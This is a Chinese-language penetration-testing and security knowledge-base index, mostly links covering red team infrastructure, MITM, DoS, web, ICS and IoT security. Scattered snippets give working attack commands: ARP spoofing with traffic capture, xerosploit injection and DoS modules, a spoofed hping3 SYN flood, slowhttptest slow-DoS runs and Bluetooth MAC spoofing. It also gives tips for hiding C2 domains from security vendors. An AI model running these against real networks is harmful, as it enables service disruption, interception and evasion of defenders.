tool that supports blasting FTP/SSH/SMB/MSSQL/MYSQL/POSTGRESQL/MONGOD --- #### 文件爆破 **爆破 office 加密** - [取证](./BlueTeam/取证.md#爆破Office加密) 爆破 Office 加密 **爆破 PDF 加密** - [取证](./BlueTeam/取证.md#爆破PDF加密) 爆破 PDF 部分 **爆破压缩包加密** - [取证](./BlueTeam/取证.md#爆破压缩包) 爆破压缩包部分 **爆破 VMX 密码** - [内存取证](./BlueTeam/笔记/内存取证.md#vmware) - 爆破密码部分 --- ## BlueTeam 蓝队这块,我简单分2种,一种是出了事故的时候叫 `事件响应`,另一种是暂时没出事故的时候叫 `安全建设` ### 事件响应 #### 取证 - [取证](./BlueTeam/取证.md) #### 应急 - [应急](./BlueTeam/应急.md) #### 分析 - [分析](./BlueTeam/分析.md) --- ### 安全建设 - [安全建设](./BlueTeam/安全建设.md) --- ## RedTeam **综合案例** - [某企业授权渗透报告](https://www.freebuf.com/articles/network/243831.html) - [一星期实战总结(四)](https://evilanne.github.io/2017/03/25/%E4%B8%80%E6%98%9F%E6%9C%9F%E5%AE%9E%E6%88%98%E6%80%BB%E7%BB%93%EF%BC%88%E5%9B%9B%EF%BC%89/) - [一次APT攻击](https://evilanne.github.io/2017/12/17/%E4%B8%80%E6%AC%A1APT%E6%94%BB%E5%87%BB/) - [项目实战 | 通过弱口令沦陷校园网](https://mp.weixin.qq.com/s/2rC047z1WJqwmNMtJHnRTw) - [记一次红蓝对抗的总结及思考](https://blog.m1kh.com/index.php/archives/350/) - [攻防演练中攻击方的思考](https://xz.aliyun.com/t/10400) - [记一次C/S架构客户端配置文件泄露导致的内网沦陷](https://mp.weixin.qq.com/s/I60E1VRVQEj0tX_2N-Hzmw) --- ### 环境部署 **Tips** - vultr 的服务器可以用自己上传的 IOS 镜像, 可以把 kali 直接装到云服务器上. 性价比也比国内的服务器高很多, 登录 vultr 后默认进入 Products, 上面会有个 ISOs, 戳右上角的 Add ISO, 把 kali 官网的 IOS 下载链接复制上去就 OK **相关资源** - [bluscreenofjeff/Red-Team-Infrastructure-Wiki](https://github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki) - [Mel0day/RedTeam-BCS](https://github.com/Mel0day/RedTeam-BCS) - BCS(北京网络安全大会)2019 红队行动会议重点内容 - [cybersecsi/HOUDINI](https://github.com/cybersecsi/HOUDINI) - Hundreds of Offensive and Useful Docker Images for Network Intrusion. The name says it all. **部署工具** - [ffffffff0x/f8x](https://github.com/ffffffff0x/f8x) - 红队环境自动化部署工具 - [LionSec/katoolin: Automatically install all Kali linux tools](https://github.com/LionSec/katoolin) - 自动安装所有的 Kali linux 工具 - [M507/Kali-TX](https://github.com/M507/Kali-TX) - 在 kali 上快速部署所需软件的脚本 - [rmikehodges/hideNsneak](https://github.com/rmikehodges/hideNsneak) - 通过提供一个界面来快速部署、管理和关闭各种云服务,从而帮助渗透测试人员管理攻击基础架构.这些包括 VM,域前置,Cobalt Strike 服务器,API 网关和防火墙. - [QAX-A-Team/LuWu](https://github.com/QAX-A-Team/LuWu) - 快速在 VPS 部署红队基础设施 - [mandiant/commando-vm](https://github.com/mandiant/commando-vm) - 部署 Windows 的渗透测试虚拟机 - [t94j0/satellite](https://github.com/t94j0/satellite) - 部署一个容易使用 payload 的主机 - [fuzz-security/VpsEnvInstall](https://github.com/fuzz-security/VpsEnvInstall) - 一键部署渗透 VPS - [Coalfire-Research/Red-Baron](https://github.com/Coalfire-Research/Red-Baron) - [supr4s/VPS-web-hacking-tools](https://github.com/supr4s/VPS-web-hacking-tools) **文件服务** - [文件传输](./RedTeam/后渗透/后渗透.md#文件传输) **云编排** - terraform - [使用语法](../Integrated/Linux/实验/terraform.md) - 相关文章 - [Automated Red Team Infrastructure Deployment with Terraform - Part 1](https://rastamouse.me/blog/terraform-pt1/) - [Automated Red Team Infrastructure Deployment with Terraform - Part 2](https://rastamouse.me/blog/terraform-pt2/) - 资源 - [Coalfire-Research/Red-Baron](https://github.com/Coalfire-Research/Red-Baron) - aws - 相关文章 - [Red Team Infrastructure - AWS Encrypted EBS](https://rastamouse.me/blog/encrypted-ebs/) **域名** - https://www.expireddomains.net/ - 抢注过期域名 - https://www.freshdrop.com/ - https://www.domcop.com/ - Tips 想法和 Tips 来自 <sup>[[Mel0day/RedTeam-BCS](https://github.com/Mel0day/RedTeam-BCS)]</sup> ``` 1: 不要包含世界大厂和杀毒厂商相关的域名,以及和目标相关的域名 2: 注册目标相关区域常见的域名,记得开隐私保护 3: 检查域名是否被分类,金融、医疗、电商、航空、旅游优先 4: 去VT、微步检查,域名是否被标黑 5: 举报滥用规则仔细阅读(freenom 慎用) 1: 外网 IP, 通过情报站看是否被标黑 2: 使用 CDN 隐藏真实 IP(部分安全厂商会拦截 CDN IP) 搭建正常域名,提交至各安全厂商给站点分类 1: 把域名 A 记录解析到大厂 ip, 使用时候再解析到 C2, 不用时候解析回大厂 ip 2: VT 自评, alex 自评 subdomain takeover : 高信誉域名 A 解析 B -》 高信誉肉鸡做前置转发 ``` --- ### 信息收集 - [信息收集](./RedTeam/信息收集/信息收集.md) --- ### LAN-WAN #### MITM **相关工具** - [LionSec/xerosploit](https://github.com/LionSec/xerosploit) - **相关文章** - [xerosploit 用法](http://www.cnbreak.org/anquan/461.html) - **安装** ```bash git clone https://github.com/LionSec/xerosploit cd xerosploit && python install.py 1 ./xerosploit ``` - **基本操作** ```bash scan # 映射你的网络 iface # 手动设置网络接口 gateway # 手动设置网关 rmlog # 删除所有日志 ``` - **模块演示(部分)** ```bash start <靶机IP> pscan # 端口扫描 run dos # dos 攻击 run injecthtml # 将 html 注入到目标访问的网站中 run /root/test.html injectjs # 将 javascript 注入到目标网站中 run /root/test.js rdownload # 替换目标下载的文件 run exe /root/test.exe sniff # 嗅探目标的流量 run ``` - [bettercap/bettercap](https://github.com/bettercap/bettercap) - [byt3bl33d3r/MITMf](https://github.com/byt3bl33d3r/MITMf) - [cain](http://www.oxid.it/cain.html) **资源** - [Sab0tag3d/MITM-cheatsheet](https://github.com/Sab0tag3d/MITM-cheatsheet) ##### L2 **Arp spoofing** ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,由于主机会信任任何一个 arp 应答, 通过欺骗局域网内访问者 PC 的网关 MAC 地址,使访问者 PC 错以为攻击者更改后的 MAC 地址是网关的 MAC,导致网络不通。 - 相关工具 - arpspoof ```bash apt-get install -y dsniff ssldump echo 1 > /proc/sys/net/ipv4/ip_forward # 开启路由功能 arpspoof -i eth0 -t 192.168.1.91 192.168.1.1 # 进行 arp 欺骗 driftnet -i eth0 # 运行 driftnet 截获图片 ``` ##### L3 **BGP** - **相关文章** - [浅析通过操纵BGP Communities影响路由选路](https://www.freebuf.com/articles/network/223879.html) - [关于BGP安全那些事儿](https://mp.weixin.qq.com/s/rZunI6Uxyks2TbSarsqR8A) ##### L4+ **DNS劫持** DNS 协议属于 OSI 第七层,DNS 劫持指控制域名解析权限,比如访问 google.com 解析到了 baidu.com 的 IP,比如通过 iframe 打开 google.com **HTTP劫持(内容劫持)** 在和网站交互过程中的劫持了请求,比如在右下角出现广告弹窗(插入 js 或 dom) --- #### DOS **相关文章** - [DDoS攻防原理及实战](https://yq.aliyun.com/promotion/173) - [创业耗费百万,为何DDoS如此要命Part 1](https://www.freebuf.com/articles/network/183182.html) - [Memcached DRDoS攻击趋势分析](https://www.freebuf.com/articles/network/174180.html) - [[技术分享]旧瓶装新酒——memcache作为DRDOS反射放大器](https://www.anquanke.com/post/id/87233) - [浅析各类DDoS攻击放大技术](https://www.freebuf.com/articles/network/76021.html) - [反射DDOS攻击防御的一点小想法](https://www.freebuf.com/column/138163.html) - [如何简单的防御syn攻击](https://www.freebuf.com/column/132945.html) - [浅谈拒绝服务攻击的原理与防御 (1) :普通拒绝服务攻击](https://www.freebuf.com/articles/network/126702.html) - [浅谈拒绝服务攻击的原理与防御 (2) :反射型DDOS](https://www.freebuf.com/news/127116.html) - [浅谈拒绝服务攻击的原理与防御 (3) :反射DDOS攻击利用代码](https://www.freebuf.com/articles/network/127218.html) - [浅谈拒绝服务攻击的原理与防御 (4) :新型DDOS攻击 Websocket和临时透镜](https://www.freebuf.com/news/127533.html) - [浅谈拒绝服务攻击的原理与防御 (5) :NTP反射攻击复现](https://www.freebuf.com/articles/network/129288.html) - [浅谈拒绝服务攻击的原理与防御 (7) :用Python和C实现syn flood攻击](https://www.freebuf.com/articles/network/130357.html) - [军备竞赛:DDoS攻击防护体系构建](https://blade.tencent.com/blog/2018/12/25/ddos-defense.1/) - [CPDoS: Cache Poisoned Denial of Service](https://cpdos.org/) - [新的DDoS攻击手法来袭:TCP反射攻击技术分析](https://www.freebuf.com/articles/database/202401.html) - [基于snmp的反射攻击的理论及其实现](http://drops.xmd5.com/static/drops/tips-2106.html) - [DRDoS预警:WdbRPC与BACnet协议可被反射攻击利用](https://mp.weixin.qq.com/s/bG4w9i8E0Ltx0mYyKtTJaw) - [什么是 DDoS 攻击?](https://www.cloudflare.com/zh-cn/learning/ddos/what-is-a-ddos-attack/) - [基于OpenAFS文件系统的反射攻击深度分析](https://mp.weixin.qq.com/s/CIAdpOoxQ-ARwitVmTxX7Q) **相关工具** - [JuxhinDB/synner](https://github.com/JuxhinDB/synner) - 一个由 Rust 编写的 SYN flood DOS 工具 - [LOIC](https://sourceforge.net/projects/loic/) - [llaera/slowloris.pl](https://github.com/llaera/slowloris.pl) - perl 语言写的 dos 脚本 - [locustio/locust](https://github.com/locustio/locust) - python 写的 ddos 工具 - [fatih4842/aSYNcrone](https://github.com/fatih4842/aSYNcrone) - 一个 SYN Flood DDoS 工具 - [ajmwagar/lor-axe](https://github.com/ajmwagar/lor-axe) - 多线程、低带宽消耗的 HTTP DoS 工具 - [LimerBoy/Impulse](https://github.com/LimerBoy/Impulse) - DoS 攻击工具包 - [rakyll/hey](https://github.com/rakyll/hey) - Hping3 ```bash hping3 -I eth0 -a 192.168.100.1 -S 192.168.100.254 -p 80 -i u1000 # 发起大量 SYN 连接,伪造源地址为 192.168.100.1,并使用1000微秒的间隔发送各个 SYN 包. ``` - [licyun/ddos-tools](https://github.com/licyun/ddos-tools) - udp flood 和 cc 类型 DDOS工具集合 - [Leeon123/CC-attack](https://github.com/Leeon123/CC-attack) - Using Socks4/5 or http proxies to make a multithreading Http-flood/Https-flood (cc) attack. **加固防御** - [DDOS介绍与防御建议](./BlueTeam/应急.md#DDOS) - [Linux 下防御 DDOS 攻击的操作梳理](https://www.cnblogs.com/kevingrace/p/6756515.html) - 一点建议,不要在主机层面上下大功夫,上云,上 CDN,加钱,才是最好的解决办法. **HTTP慢速攻击** - [HTTP慢速拒绝服务攻击](https://www.f4guo.top/2019/10/09/HTTP%E6%85%A2%E9%80%9F%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB/) - [慢速DDoS攻击](https://zhyjc6.github.io/posts/2019/11/07/%E6%85%A2%E9%80%9FDDoS%E6%94%BB%E5%87%BB.html) - [Slow HTTP DOS](https://payloads.online/archivers/2018-04-16/2) - [shekyan/slowhttptest](https://github.com/shekyan/slowhttptest) - 应用层 DoS 攻击模拟器 ```bash # slowloris模式: slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3 # slow post模式: slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3 # slow read模式: slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3 ``` --- #### CDN ##### 缓存投毒 **相关文章** - [对缓存投毒的学习总结](https://xz.aliyun.com/t/7696) - [Web cache poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [Practical Web Cache Poisoning](https://portswigger.net/research/practical-web-cache-poisoning) - [实战Web缓存投毒(上)](https://www.anquanke.com/post/id/156356) - [Web Cache Entanglement: Novel Pathways to Poisoning](https://portswigger.net/research/web-cache-entanglement) - [实战Web缓存投毒(下)](https://www.anquanke.com/post/id/156551) - [Cache Poisoning at Scale](https://youst.in/posts/cache-poisoning-at-scale/) **相关靶场** - [Exploiting cache design flaws](https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws) **CTF Writeup** - [通过一道题了解缓存投毒和SVG XSS](https://xz.aliyun.com/t/4492) ##### 流量放大 **相关文章** - [CDN安全小结](https://5alt.me/2017/02/CDN%E7%8E%AF%E8%B7%AF%E6%94%BB%E5%87%BB/) - [CDN流量放大攻击思路](https://juejin.im/post/6844903571511574536) --- ### OS安全 **漏洞记录** - [OS-Exploits](./RedTeam/OS安全/OS-Exploits.md) #### Linux - [Linux安全](./RedTeam/OS安全/Linux安全.md) --- #### windows - [Windows安全](./RedTeam/OS安全/Windows安全.md) --- ### Web安全 **综合案例** - [跟心仪的妹子玩游戏误入博彩APP,顺手破了个案](https://www.freebuf.com/news/topnews/166142.html) - [对某网的一次渗透测试纪实](https://xz.aliyun.com/t/4694) - [全程带阻:记一次授权网络攻防演练(上)](https://www.freebuf.com/vuls/211842.html) - [全程带阻:记一次授权网络攻防演练(下)](https://www.freebuf.com/vuls/211847.html) - [记录一次某客户系统的漏洞挖掘](https://www.sqlsec.com/2019/11/vul1.html) - [记一次对某企业的渗透测试实战](https://gh0st.cn/archives/2018-06-20/1) - [Flexport今年在Hackerone被报告的6个有趣的漏洞](https://www.freebuf.com/vuls/139171.html) - [记一次曲折而又有趣的渗透](http://r3start.net/index.php/2020/02/17/611) - [Attacking HelpDesks Part 1: RCE Chain on DeskPro, with Bitdefender as a Case Study](https://blog.redforce.io/attacking-helpdesks-part-1-rce-chain-on-deskpro-with-bitdefender-as-case-study/) - [又一个登录框引起的血案](https://www.freebuf.com/articles/web/178687.html) - [RCE in Google Cloud Deployment Manager](https://www.ezequiel.tech/2020/05/rce-in-cloud-dm.html) - [入侵钓鱼站并溯源](https://drivertom.blogspot.com/2019/03/blog-post_16.html) - [授权渗透一个asp站点](https://www.t00ls.net/viewthread.php?tid=58393) - [授权测试一个java网站](https://www.t00ls.net/articles-59170.html) - [记一次某大学渗透过程](https://xz.aliyun.com/t/10657) - [攻防纪实|从任意文件下载到命令执行](https://mp.weixin.qq.com/s/T7oZrWBaDSEjhPt7NBOt8w) - [记一次前端安全测试](https://xz.aliyun.com/t/10801) - [某平台的一次简单渗透测试记录](https://xz.aliyun.com/t/10493) - [记一次校园内网的edusrc漏洞挖掘](https://xz.aliyun.com/t/11074) - [记一次edu漏洞挖掘——从信息泄露到内网滲透](https://xz.aliyun.com/t/11000) - [前端JavaScript渗透测试步步为营](https://www.freebuf.com/vuls/255640.html) **相关文章** - [谈谈对后台登录页面的渗透测试](https://www.anquanke.com/post/id/185426) - [Export Injection](https://medium.com/@inonst/export-injection-2eebc4f17117) - [漏洞组合拳打法](https://mp.weixin.qq.com/s/RDij50PTrdTFR1wmHLATxQ) **多种工具组合进行挖掘的案例** - [How I Found multiple SQL Injection with FFUF and Sqlmap in a few minutes](https://infosecwriteups.com/how-i-found-multiple-sql-injection-with-ffuf-and-sqlmap-in-a-few-minutes-2824cd4dfab) **靶场** - DVWA - 大名鼎鼎的 DVWA 靶场,新手入门培训必做实验项目 - [DVWA-WalkThrough](./RedTeam/Web安全/靶场/DVWA-WalkThrough.md) - pikachu - 非常优秀的 web 基础靶场,与 dvwa 相比 dvwa 更适合教学,pikachu 漏洞种类更多,建议通关顺序 dvwa --> pikachu - [pikachu-WalkThrough](./RedTeam/Web安全/靶场/pikachu-WalkThrough.md) - sqli-labs - 非常全面的 SQL 注入靶场,必学 - [sqli-labs-WalkThrough](./RedTeam/Web安全/靶场/sqli-labs-WalkThrough.md) - upload-labs - 一个总结了各种类型文件上传漏洞的靶场 - [upload-labs-WalkThrough](./RedTeam/Web安全/靶场/upload-labs-WalkThrough.md) - XSS挑战 - 学习 XSS 相关知识的靶场 - [XSS挑战-WalkThrough](./RedTeam/Web安全/靶场/XSS挑战-WalkThrough.md) - XVWA - 相比之 DVWA,漏洞种类更丰富一些 - [XVWA-WalkThrough](./RedTeam/Web安全/靶场/XVWA-WalkThrough.md) **Checklist** - [AboutSecurity/Checklist.zh-cn.md](https://github.com/ffffffff0x/AboutSecurity/blob/master/Checklist.zh-cn.md) - 渗透测试检查项 **网站资产嗅探** - [网站资产嗅探](./RedTeam/信息收集/信息收集.md#网站) - 网站信息收集的方法汇总 --- #### 前端攻防 - [前端攻防](./RedTeam/Web安全/前端攻防.md) --- #### BS-Exploits `CMS / 中间件框架 / 组件 / 服务漏洞` - [BS-Exploits](./RedTeam/Web安全/BS-Exploits.md) --- #### Web_Generic `Web通用漏洞` - [Web_Generic](./RedTeam/Web安全/Web_Generic/Web_Generic.md) --- #### IDOR `逻辑类漏洞` > IDOR学习起来容易上手,平常挖的也比较多,而且这个可以说不仅仅只是在 web 的层面上,你可以将其运用到挖 CS 方面的逻辑漏洞,挖各类奇奇怪怪的形式的逻辑漏洞,学好了,性价比极高 - [IDOR](./RedTeam/Web安全/IDOR.md) --- #### Web_Tricks ##### HTTP_request_smuggling `http 请求走私` > 由于各种各样的原因, 各网站通常使用多级代理模式对外开放 Web 服务, 如 CDN、Nginx 代理等。HTTP/1.1 版本倾向于使用 keep-alive 长连接进行通信, 提高前后端之间的通讯效率。也就是说多个人的流量可能会在前后端之间的同一个 tcp 会话中传输, 另外前后端对于 Content-Length 和 Transfer-Encoding 的解析处理方法不同, 有可能造成请求污染的情况,直接导致 HTTP Smuggling 攻击的出现。 - [HTTP_request_smuggling](../Web安全/Web_Tricks/HTTP_request_smuggling.md) --- ##### 滥用 HTTP hop by hop **相关文章** - [从滥用HTTP hop by hop请求头看CVE-2022-1388](https://y4er.com/post/from-hop-by-hop-to-cve-2022-1388/) - [Abusing HTTP hop-by-hop request headers](https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers) --- ##### JWT安全 `JSON Web Token` - [JWT安全](./RedTeam/Web安全/Web_Tricks/JWT安全.md) ##### OOB `带外通道技术` > 在渗透中,经常碰到关闭回显的漏洞,常见的 XXE 盲注,SQL 盲注,反序列号无回显,这个时候常用到 OOB 带外数据通道,带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的 TCP/UDP/ICMP 请求,然后,攻击者可以通过这个请求来提取数据。一次 OOB 攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。 - [OOB](./RedTeam/Web安全/Web_Tricks/OOB.md) ##### 绕过访问 - [绕过访问](./RedTeam/Web安全/Web_Tricks/绕过访问.md) --- ### 安防设备 **相关文章** - [下一座圣杯 - 2019](https://mp.weixin.qq.com/s/6Kli-u6LEInoliTVQgdrFQ) - [安全产品的灯下黑](https://www.tr0y.wang/2020/09/04/vulner-in-sec-products/) **安全产品默认口令** - [网络安全产品默认口令](http://www.r4v3zn.com/spear-framework/#/default-pwd/security-products) **Bypass** - [Bypass技巧](./RedTeam/安防设备/Bypass技巧.md) **漏洞利用** - [SecDevice-Exploits](./RedTeam/安防设备/SecDevice-Exploits.md) --- ### 后渗透 - [后渗透](./RedTeam/后渗透/后渗透.md) --- ### 云安全 - 云基础组件安全 - [Docker](./RedTeam/软件服务安全/实验/Docker.md) - [Kubernetes](./RedTeam/软件服务安全/实验/Kubernetes.md) - [公有云安全](./RedTeam/云安全/公有云安全.md) --- ### 软件服务安全 **漏洞记录** - [CS-Exploits](./RedTeam/软件服务安全/CS-Exploits.md) - [DesktopApps-Exploits](./RedTeam/软件服务安全/DesktopApps-Exploits.md) --- ### 协议安全 `注:本分类里内容并非全是协议的 bug,部分 "基于、使用" 这个协议的应用所存在的漏洞也算在其中,例如 dns 域传送漏洞,其并非 dns 协议本身的漏洞,为服务部署时的配置问题,但应用与 DNS 相关的业务,故此分类,特此说明` **漏洞记录** - [Protocol-Exploits](./RedTeam/协议安全/Protocol-Exploits.md) --- ### 语言安全 - [语言安全](./RedTeam/语言安全/语言安全.md) --- ## ICS **工控系统的概念** > 工业控制系统(Industrial Control Systems,ICS,简称工控系统),是由各种自动化控制组件以及对实时数据进行采集、监测的过程控制组件共同构成的确保工业基础设施自动化运行、过程控制与监控的业务流程管控系统。其核心组件包括数据采集与监控系统(Supervisory Control and Data Acquisition,SCADA)、分布式控制系统(Distributed Control Systems,DCS)、可编程控制器(Programmable Logic Controller,PLC)、远程终端(Remote Terminal Unit,RTU)、人机交互界面设备(Human Machine Interface,HMI),以及确保各组件通信的接口技术。 **漏洞库** - [工控系统行业漏洞库平台](http://ivd.winicssec.com/index.php/Home/Search/index.html) - [工控系统行业漏洞](https://ics.cnvd.org.cn/) **资源** - [ITI/ICS-Security-Tools](https://github.com/ITI/ICS-Security-Tools) - 用于探索 ICS 安全性的工具,技巧,窍门等 - [w3h/icsmaster](https://github.com/w3h/icsmaster) - ICS/SCADA Security Resource(整合工控安全相关资源) - [hslatman/awesome-industrial-control-system-security](https://github.com/hslatman/awesome-industrial-control-system-security) - 与工业控制系统(ICS)安全相关的资源的精选列表。 **相关文章** - [探究卫星有关的安全问题](https://www.freebuf.com/articles/wireless/194142.html) - [卫星安全研究有关的基础知识](https://www.freebuf.com/articles/wireless/202493.html) - [工控安全从入门到实战——概述(一)](https://www.freebuf.com/column/199646.html) - [工控安全入门之攻与防](https://www.freebuf.com/articles/ics-articles/220302.html) - [工控安全标准溯源与入坑指引](https://www.freebuf.com/articles/ics-articles/205653.html) - [工控系统安全测试用例](https://www.freebuf.com/column/209611.html) - [工控安全入门分析 路人甲](http://www.vuln.cn/6866) - [工控学习路径](https://myfzy.top/2019/10/27/%E5%B7%A5%E6%8E%A7%E5%AD%A6%E4%B9%A0%E8%B7%AF%E5%BE%84/) - [【工控安全】从固件逆向看工控安全](https://mp.weixin.qq.com/s/g9PisG4P7tCgBcG2GWt-ew) **CTF writup** - 工业信息安全技能大赛 - [CTF工业信息安全大赛实践与分析](https://www.freebuf.com/articles/ics-articles/210687.html) - [2019工业信息安全技能大赛个人线上赛第一场writeup](https://login546.github.io/2019/07/29/2019%E5%B7%A5%E4%B8%9A%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E6%8A%80%E8%83%BD%E5%A4%A7%E8%B5%9B%E4%B8%AA%E4%BA%BA%E7%BA%BF%E4%B8%8A%E8%B5%9BNO-1writeup/) - 中能融合杯 - [“中能融合杯”全国第六届工控系统信息安全攻防竞赛Wp](https://mp.weixin.qq.com/s/HwnhNemo-vSIUNakidDOzA) - ICSC2020 工业信息安全技能大赛 - [ICSC2020 工业信息安全技能大赛WriteUp](http://www.snowywar.top/?p=1983) - 之江杯 - [之江杯2020工控题目 Write Up](http://www.snowywar.top/?p=1905) - CISCN2021 - [CISCN2021 HMI 工控](https://bbs.pediy.com/thread-267831.htm) - [CISCN2021 HMIControl](https://myts2.cn/2021/05/16/ciscn2021/) **SCADA默认口令** - [scadastrangelove/SCADAPASS](https://github.com/scadastrangelove/SCADAPASS) - SCADA StrangeLove 默认/硬编码密码列表 **工控资产嗅探** - [工控环境信息收集](./RedTeam/信息收集/信息收集.md#工控资产) --- ### 工控协议 - [工控协议](./ICS/工控协议.md) --- ### 工控流量 **pacp 资源** - [automayt/ICS-pcap](https://github.com/automayt/ICS-pcap) - 各类工控的 pcap 包 - [ICS-Security-Tools/pcaps](https://github.com/ITI/ICS-Security-Tools/tree/master/pcaps) - 各类工控的 pcap 包 **相关文章** - [深度解析工控网络流量特点](https://www.freebuf.com/articles/ics-articles/167079.html) - 文章通过深入解析工控流量的字段,来探寻工控流量的特点。 **分析实战** - [Wireshark S7Comm 抓包记录](./BlueTeam/实验/流量分析.md#s7comm) - 记录有关 S7Comm 的请求响应包 - [Wireshark Ethernet/IP 抓包记录](./BlueTeam/实验/流量分析.md#ethernetip) - 记录有关 Ethernet/IP 的请求响应包 --- ### PLC攻击 - [PLC攻击](./ICS/PLC攻击.md) --- ### 上位机安全 - [上位机安全](./ICS/上位机安全.md) --- ## IOT ### 无线电安全 #### Bluetooth **相关文章** - [如何破解蓝牙打开监狱大门:黑客主义行动力(5)](https://www.iyouport.org/%e5%a6%82%e4%bd%95%e7%a0%b4%e8%a7%a3%e8%93%9d%e7%89%99%e6%89%93%e5%bc%80%e7%9b%91%e7%8b%b1%e5%a4%a7%e9%97%a8%ef%bc%9a%e9%bb%91%e5%ae%a2%e4%b8%bb%e4%b9%89%e8%a1%8c%e5%8a%a8%e5%8a%9b%ef%bc%885%ef%bc%89/) - [bluescan:一个强大的蓝牙扫描器](https://www.anquanke.com/post/id/209757) **相关工具** - btscanner - 蓝牙扫描器 ```bash apt install -y btscanner # 安装 btscanner # 选择 “i” 以启动查询扫描 # 选择 “b” 以启动爆破扫描 ``` - [fO-000/bluescan](https://github.com/fO-000/bluescan) - 蓝牙扫描器 ```bash # 安装依赖 sudo apt install python3-pip python3-dev libcairo2-dev libgirepository1.0-dev libbluetooth-dev libdbus-1-dev bluez-tools python3-bluez pip3 install bluescan bluescan -m br # BR 设备扫描 bluescan -m le # LE 设备扫描 bluescan -m sdp # SDP 服务扫描 bluescan -m lmp # LMP 特性扫描 bluescan -m gatt # GATT 服务扫描 ``` - spooftooph ```bash spooftooph -i hci0 -a A0:02:DC:11:4F:85 -n Car537 # -i 指定设备,在这种情况下为 hci0 # -a 指定要欺骗的MAC地址 # -n 指定要欺骗的设备名,在这种情况下为 “Car537” hciconfig hci0 name ``` --- #### RFID **RFID基础知识** - [RFID基础知识](./IOT/无线电安全/RFID基础知识.md) --- #### wifi **频段与信道** - 三种常见的无线频段 2.4 GHz,3.6 GHz,5 GHz - 每个频段都有一组允许的频率范围 - 2.4 GHz(2400-2495) - 5 GHz(5180-5825) 这些信道被分成多个频段,每个频段只能使用有限的几个信道 - 2.4GHz 802.11b/g/n 频段被分成多个信道,其对应频率关系如下 |信道 |频率 |-------|---------- |1 |2412 |2 |2417 |3 |2422 |4 |2427 |5 |2432 |6 |2437 |7 |2442 |8 |2447 |9 |2452 |10 |2457 |11 |2462 |12 |2467 |13 |2472 |14 |2484 - 5 GHz 802.11a/c 频段可以具有 7 到 165 个信道以及它们各自的信道的频率范围从 5035 至 5825 |信道 |频率 |-------|---------- |7 |5035 |8 |5040 |9 |5045 |11 |5055 |12 |5060 |16 |5080 |32 |5160 |34 |5170 |36 |5180 |38 |5190 |40 |5200 |42 |5210 |44 |5220 |46 |5230 |48 |5240 |50 |5250 |52 |5260 |54 |5270 |56 |5280 |58 |5290 |60 |5300 |62 |5310 |64 |5320 |68 |5340 |96 |5480 |100 |5500 |102 |5510 |104 |5520 |106 |5530 |108 |5540 |110 |5550 |112 |5560 |114 |5570 |116 |5580 |118 |5590 |120 |5600 |122 |5610 |124 |5620 |126 |5630 |128 |5640 |132 |5660 |134 |5670 |136 |5680 |138 |5690 |140 |5700 |142 |5710 |144 |5720 |149 |5745 |151 |5755 |153 |5765 |155 |5775 |157 |5785 |159 |5795 |161 |5805 |165 |5825 |169 |5845 |173 |5865 |183 |4915 |184 |4920 |185 |4925 |187 |4935 |188 |4940 |189 |4945 |192 |4960 |196 |4980 具体详见: https://en.wikipedia.org/wiki/List_of_WLAN_channels **无线安全协议** - WEP 使用流密码 RC4 来确保机密性,很不安全 - 由于初始化向量的熵大小较弱,因此有可能对密钥进行猜测攻击 - 此安全协议的另一个缺陷是完整性检查,它可以使攻击者伪造数据包并生成 IV - 可以针对此安全性进行攻击的类型主要有两种:ChopChop 和 Fragmentation 攻击;两种攻击的主要目的是检索 PRGA 并将数据包伪造回接入点 - WPA2 WPA2 PSK 相比 WEP 更安全,主要用于家庭路由器 - 变体:WPA TKIP,WPA2 AES,WPA2 TKIP + AES - TKIP - 时间密钥完整性协议 - 64位消息完整性检查(MIC)L - 为了防止简单的重放攻击,使用了序列计数器(TSC),该计数器仅允许数据包按顺序到达接收器 - AES - 高级加密标准 - 可以捕获客户端和访问点之间的身份验证握手 - WPA2 仍然容易受到爆破攻击 - WPA2 Enterprise(企业) - 使用身份验证服务器控制对无线网络的访问 - 客户端需要通过身份验证服务器进行自我验证 - 利用证书颁发机构来验证用户的合法性 - 无线网络的接入点与最弱的用户一样强大(The access point to wireless network is as strong as the weakest users) - 可以通过 Evil Twin WPA2 Enterprise 网络对 CA 配置错误的访问点进行攻击,并捕获质询和响应 - WPS WPS - WiFi 保护设置主要用于路由器和客户端之间,以更快地建立连接 - 如果配置错误,很容易被入侵 - 仅包含8位数字,在身份验证期间,将8位数字分为2部分,并且每4位一次验证,4位数字可以被10000次尝试爆破出来 **相关工具** - **Aircrack** - [Aircrack 笔记](./安全工具/aircrack.md) **相关资源** - [conwnet/wpa-dictionary](https://github.com/conwnet/wpa-dictionary) - WPA/WPA2 密码字典,用于 wifi 密码暴力破解 --- ### 硬件安全 **漏洞记录** - [Device-Exploits](./IOT/硬件安全/Device-Exploits.md) #### HID > HID 全称为 Human Interface Device 直译为人类接口设备,也被称为人体学输入设备,是指与人类直接交互的计算机设备,而 pc 端上的”HID”一般指的是 USB-HID 标准,更多指微软在 USB 委员会上提议创建的一个人体学输入设备工作组。HID attack 通过插入带有攻击向量的USB设备等方式,恶意代码直接就被加载执行,攻击操作也就瞬时发生。此类方式属于物理层面攻击。 **BadUSB** > BADUSB 是2014年黑客大会上由柏林 SRLabs 的安全研究人员 JakobLell 和独立安全研究人员 Karsten Nohl 展示攻击方法,该攻击方法通过对普通u盘的固件进行逆向重新编程,修改了u盘的系统,然后进行攻击。 - [低成本玩转硬件安全(一):BadUSB on Arduino](http://www.freebuf.com/geek/127601.html) - 